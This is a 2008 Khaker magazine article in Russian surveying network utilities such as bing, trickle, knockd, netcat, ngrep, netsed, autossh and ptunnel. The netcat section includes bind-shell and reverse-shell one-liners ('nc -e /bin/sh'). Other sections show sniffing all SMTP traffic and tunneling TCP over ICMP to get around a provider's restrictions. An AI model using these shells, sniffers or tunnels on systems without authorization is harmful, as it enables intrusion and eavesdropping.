Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

Умные игры с сетями: обзор необычных сетевых утилит

Евгений «j1m» Зобнин (zobnin@gmail.com)




Главное в хорошей статье – идея. Когда у меня появилась задумка нынешнего обзора, я полез в интернет и всего за несколько часов обнаружил огромное количество весьма любопытных сетевых утилит, а также массу редких, но очень эффектных приемов решения задач, связанных с Сетью. Отбросив мусор и сняв самые сливки, спешу о них рассказать.

Измерить и обрезать

Что делать, если мы хотим узнать пропускную способность нашей сети? Наиболее верный путь - выполнить копирование произвольного файла с удаленной машины на свою. Лучше всего проделать эту операцию с помощью протокола FTP, но подойдет так же HTTP, SMB или даже SSH. Главное - выбрать файл подлиннее. Но если ни одного из подобных сервисов на машине нет, измерение скорости передачи может превратиться в проблему. Особо хардкорные товарищи в этом случае могут запустить ping и на основе его статистических данных вычислить пропускную способность канала. Я же предлагаю не перенапрягать мозг и воспользоваться утилитой bing - особой модификацией ping, предназначенной для измерения скорости передачи данных между двумя хостами.

Использовать bing почти так же просто, как и его родственника на «p». Необходимо указать IP-адрес локального конца канала и адрес его удаленного собрата, подождать некоторое время (чем дольше, тем точнее результат), остановить выполнение комбинацией <Ctrl+C> и найти в выводе команды строчку «estimated throughput». В ней и будет указана средняя пропускная способность канала, измеренная в байтах в секунду.

ОК, скорость передачи мы узнали, но для некоторых приложений подобный «реактивный режим» будет излишеством. На хлюпеньком 256-мегабитном канале даже запущенный в фоне wget может принести массу проблем при чтении форумов или интенсивном поиске в Google, а многопоточный менеджер загрузок вообще съест весь канал и не поперхнется. Умерить пыл таких программ можно с помощью хорошего брандмауэра, но не стоит заниматься мазохизмом, и на каждый чих вписывать правила и через пару часов убирать их из таблиц. Для подобных случаев есть другой, более удобный инструмент – trickle.

Trickle работает в пользовательском режиме, не требует привилегий root и позволяет установить различные скорости закачки/отдачи для нескольких приложений одновременно. Использовать его очень просто – достаточно указать ожидаемые пороги скорости в кб/с, имя ограничиваемой программы и ее аргументы. К примеру, ограничим скорость закачки wget до 10 кб/c:

$ trickle -d 10 wget ftp://ftp.host.com/big_file.tar.gz

И запустим сервер FTP со скоростями закачки/отдачи, равными 30 кб/c и 20 кб/с:

# trickle -d 30 -u 20 ftpd

Если ты ограничиваешь пропускную способность для нескольких приложений одновременно, то перед стартом trickle запусти специальный демон trickled, который будет обслуживать множественные инстанции утилиты и снизит нагрузку на процессор.

Стучимся в порты

«Port knoking» (в дословном переводе на родной и могучий – «Стучаться в порты»), есть не что иное, как метод произведения каких-либо действий на стороне сервера с помощью последовательного опроса определенных портов. Проще говоря, это то же самое, что последовательность стуков в дверь, после которой за ней появляется параноидального вида мужик и быстро впускает Штирлица внутрь. В компьютерном мире роль параноидального мужика обычно выполняет специальный демон, прослушивающий порты, а Штирлиц - это мы (те, кто хочет «войти»). Ну а дверь, как не трудно догадаться, это брандмауэр, открывающий определенный порт (обычно SSH).

«Стук в порты» - очень интересный прием со множеством плюсов. Он абсолютно невидим для постороннего. С его помощью легко защитить сервисы от брутфорса или DoS-атак. При правильном использовании – он очень стойкий к подбору комбинаций портов.

Существует масса самых различных реализаций этой техники, начиная от самопальных скриптов, написанных первокурсниками, и заканчивая плагинами для iptables, но наиболее любима в народе, проста в использовании и богата на функционал система knock (www.zeroflux.org/cgi-bin/cvstrac/knock/wiki/). О ней и поговорим.
Настроить knock нетрудно:

1. Конфигурируем брандмауэр таким образом, чтобы все незанятые реальными сервисами порты выше 1024 были открыты. Часть из них незаметно будет слушать наш демон. Порт защищаемого сервиса оставляем закрытым.

2. Создаем файл /etc/knockd.conf и пишем в него примерно следующее:

# vi /etc/knockd.conf

[ssh-open]
sequence = 1111,2222,3333
seq_timeout = 10
tcpflags = syn
command = /usr/sbin/iptables -A INPUT -s %IP% --dport 22 -j ACCEPT

[ssh-close]
sequence = 3333,2222,1111
seq_timeout = 10
tcpflags = syn
command = /usr/sbin/iptables -D INPUT -s %IP% --dport 22 -j ACCEPT

3. Запускаем демон:

# knockd -d

4. Берем такси, едем домой и на домашнем компе выполняем команду:

$ knock my.lovely.server.com 1111 2222 3333

5. Подключаемся SSH-клиентом к серверу и делаем то, что нужно.

6. Благополучно закрываем SSH-порт:

$ knock my.lovely.server.com 3333 2222 1111

Отныне злодей даже и не догадается о том, что на твой любимый сервер можно проникнуть извне. Для него SSH-порт всегда будет закрыт (открывается он только для того IP, с которого был осуществлен «стук»). Но и это еще не все! Заказав такси прямо сейчас, ты сможешь вернуться к серверу и получить в подарок еще более надежную технику конспирации:

# vi /etc/knockd.conf

[ssh]
sequence = 1111:udp,2222:tcp,3333:udp
seq_timeout = 15
tcpflags = syn,ack
start_command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --syn --dport 22 -j ACCEPT
cmd_timeout = 10
stop_command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp --syn --dport 22 -j ACCEPT

Это более интересный способ открытия порта, использующий сразу два приема повышения безопасности. Во-первых, теперь Штирлиц должен долбить в дверь не только рукой, но и ногой, то есть «стучать» и в TCP, и в UDP-порты. А во-вторых, брандмауэр откроет SSH-порт для входящих соединений только на 10 секунд, в течение которых мы должны успеть установить SSH-соединение (естественно, iptables должен быть сконфигурирован так, чтобы он без вопросов пропускал любой трафик уже установленных соединений). Конечная команда на подключение выглядит следующим образом:

$ knock 1111:udp 2222:tcp 3333:udp & ssh my.lovely.server.com

Незаменимый netcat

Сетевая версия cat оказалась тем инструментом, замену которому вряд ли можно найти. Обладая предельной простотой, он невероятно богат на функционал, а диапазон его применения столь широк, что в народе netcat окрестили «Швейцарским армейским ножом». Утилита netcat по сути не делает ничего, кроме копирования данных в порт и из него, но при этом с ее помощью можно:

1. Передавать файлы:

$ nc -l 31334 > filename
$ nc 172.16.69.143 31334 < filename

2. Использовать вместо telnet:

$ nc -l -p 31334 -e /bin/sh
$ nc 172.16.69.143 31334

3. Сканировать на открытые порты:

$ nc -z www.xakep.ru 1-1024

4. Осуществлять фингерпринт сервисов на основе баннеров:

echo "QUIT" | nc www.xakep.ru 1-1024

5. Организовывать рекурсивный шелл:

$ nc -e /bin/bash 172.16.69.143
$ nc -l -p 80

Важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции '-e', поэтому второй и пятый примеры она не воспримет.

Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция '-e' в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:

$ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' 172.16.69.143 31334

Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:

$ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334

В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг '-Xconnect' говорит о том, что он является HTTP-прокси. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг '-X4' или '-X5'.

Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:

# echo 'redirect-2525-to-25 2525/tcp' >> /etc/services
# echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' >> /etc/inetd.conf
# killall -HUP inetd

Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный SMTP-порт 25. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.

Пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом де факто для Linux-систем, сам умеет перенаправить сетевой трафик:

# vi /etc/xinetd/redirect

service redirect-2525-to-25
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
wait = no
port = 2525
redirect = 127.0.0.1 25
user = nobody
}

Grep, sed и top на службе сети

Кроме рассмотренного выше netcat, известно еще несколько примеров удачного портирования UNIX-утилит в сетевой мир. В первую очередь, это программы ngrep и netsed, предназначенные для поиска и замены текстовых элементов внутри проходящих пакетов, и nettop - утилита, осуществляющая мониторинг сетевых соединений.
Инструмент ngrep предназначен для тех, кому tcpdump кажется слишком уж гиковой игрушкой. Это сетевой снифер, позволяющий производить поиск внутри пакетов с помощью регулярных выражений. Пользоваться им не труднее, чем стандартным grep, и гораздо проще, чем другими подобными программами. Он поддерживает большинство опций своего локального аналога, а также несколько специальных команд, позволяющих указать прослушиваемый порт, сетевой интерфейс, адрес получателя и прочие сетевые параметры. Основан снифер на легендарной библиотеке pcap и поддерживает протоколы TCP, UDP, ICMP.
Чтобы оценить красоту ngrep, попробуй запустить следующую команду и побродить по интернету:

# ngrep xakep.ru port 80

А вот другая команда, позволяющая прослушать весь SMTP-трафик:

# ngrep -i \'rcpt to|mail from\' -d any tcp port smtp

Утилита предельно проста в использовании: указать маску и нужный порт обычно достаточно, чтобы найти то, что хочешь. Будут полезными так же флаги '-i' для игнорирования регистра символов, '-t' для вывода времени прихода/отправки для каждого пакета и '-W byline', принуждающий ngrep распечатывать содержимое пакетов по одному на строку.

У тебя наверняка возник вопрос, можно ли таким же способом не только искать информацию в пакетах, но и изменять ее части на свой вкус. Ответ здесь неоднозначен, но он скорее будет «Да», чем «Нет». Существует простая до безобразия утилита netsed, созданная по мотивам потокового редактора sed. Вот только в режиме «Man In The Middle» она работать не может, потому как не использует низкоуровневые сетевые возможности ядра. Вместо этого она просто слушает заданный порт и передает измененный поток пакетов на другой порт/машину (т.е. работает в режиме прокси).

В свете вышесказанного, – до того как мы сможем применять netsed в боевых условиях, необходимо настроить ОС так, чтобы трафик, в недрах которого мы хотим ковыряться, автоматически заворачивался в netsed. Например, если на машине давно и исправно работает smtp-сервер, а нам, ленивым админам, вдруг ни с того ни с сего захотелось в нем что-то изменить, будет не козырно переопределять его порт на 2525, а сам netsed вешать на 25-ый порт с последующей отправкой пакетов на порт 2525. Вместо этого мы просто завернем входящий smtp-трафик на порт 2525, который будет слушать netsed, а он, в свою очередь, уже отдаст его smtp-серверу. Сделать это можно либо с помощью любого брандмауэра, либо по описанной в предыдущем разделе схеме netcat+inetd.
После того как заработает перенаправление трафика, мы запустим netsed следующей командой:

$ netsed tcp 2525 127.0.0.1 25 s/vasya@host.com/boris@host.com

Теперь все встречающиеся адреса vasya@host.com будут заменены на boris@host.com.Nettop - третья по счету утилита, созданная с использованием идей, заложенных в стандартные UNIX-утилиты. По сути, перед нами простой коллектор информации о сетевых соединениях и количестве трафика, прошедшего через порты. А заслуживает упоминания он только потому, что делает это в реальном времени и очень наглядно.

Вкусности

Плохое качество соединения может стать настоящей проблемой, когда в фоне запущен ssh, организующий туннель, который мы постоянно кормим новым трафиком. Поток пакетов может просто «застрять» ровно до того момента, пока мы не перезапустим клиент, или пока через узкий канал не закончит проходить порно-фильм, который льет сидящий за стеной сосед. Постоянно смотреть в монитор и следить, все ли в порядке, мы тоже не можем и, что важнее, не хотим. Поэтому переложим работу по слежке и перезапуску ssh на плечи специальной программы autossh.

Утилита autossh представляет собой враппер для ssh-клиента, который просто следит за состоянием соединения с помощью посылки коротких сообщений от клиента к серверу и обратно (что-то вроде пинга). Если «пинг» не возвращается или приходит с большой задержкой, autossh обрывает соединение и пытается его восстановить. Утилиту очень легко использовать: все, что нужно, - запускать команду autossh вместо ssh со всеми стандартными аргументами последней.

Долго думал, стоит ли включать ptunnel в обзор, но все-таки решил включить. Дело в том, что ptunnel (Ping Tunnel) - это утилита, о которой мечтали лет 10 назад, когда вся Россия поголовно сидела на диалапе. В те далекие времена многие провайдеры выделяли специальный телефонный номер для тестирования соединения и проверки баланса своего счета. Все это было полностью бесплатно, потому что пользователь мог получить доступ только к сайту статистики, а все остальные соединения жестко обрезались. Но ошибка админов была в том, что зачастую они оставляли возможность посылать «пинги» и DNS-запросы на любой адрес внешней сети. Программа ptunnel как раз и эксплуатирует эту «уязвимость» через инкапсуляцию TCP-пакетов в ICMP Echo запрос, создавая туннель во внешний мир.
Чтобы организовать туннель через ptunnel, необходимо проделать несколько действий:

1. Запустить сервер ptunnel на каком-нибудь внешнем интернет-сервере:

# ptunnel

2. Установить соединение с сетью, пропускающей во внешний мир только пинги и запустить клиент:

# ptunnel -p внешний.сервер.com -lp 1110 -da pop.mail.ru -dp 110

3. Настроить mail-клиент на адрес 172.0.0.1:1110 и благополучно забрать почту с сервера pop.mail.ru. Скорость будет не ахти, но для почты и ее достаточно.

INFO

Пропускную способность Сети гораздо проще и эффективнее измерять с помощью утилиты iperf (dast.nlanr.net/Projects/Iperf), но bing вошел в наш обзор благодаря необычности дизайна. Кроме того, на некоторых BSD-системах iperf показывает неверные результаты.

С помощью knock легко организовать не только открытие портов, но и множество других полезных вещей. Это может быть, например, обратный shell, описанный в разделе про netcat, команда, перезагружающая определенный сервис, или скрипт, отправляющий отчет о состоянии сервера на телефон по SMS.

WWW

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001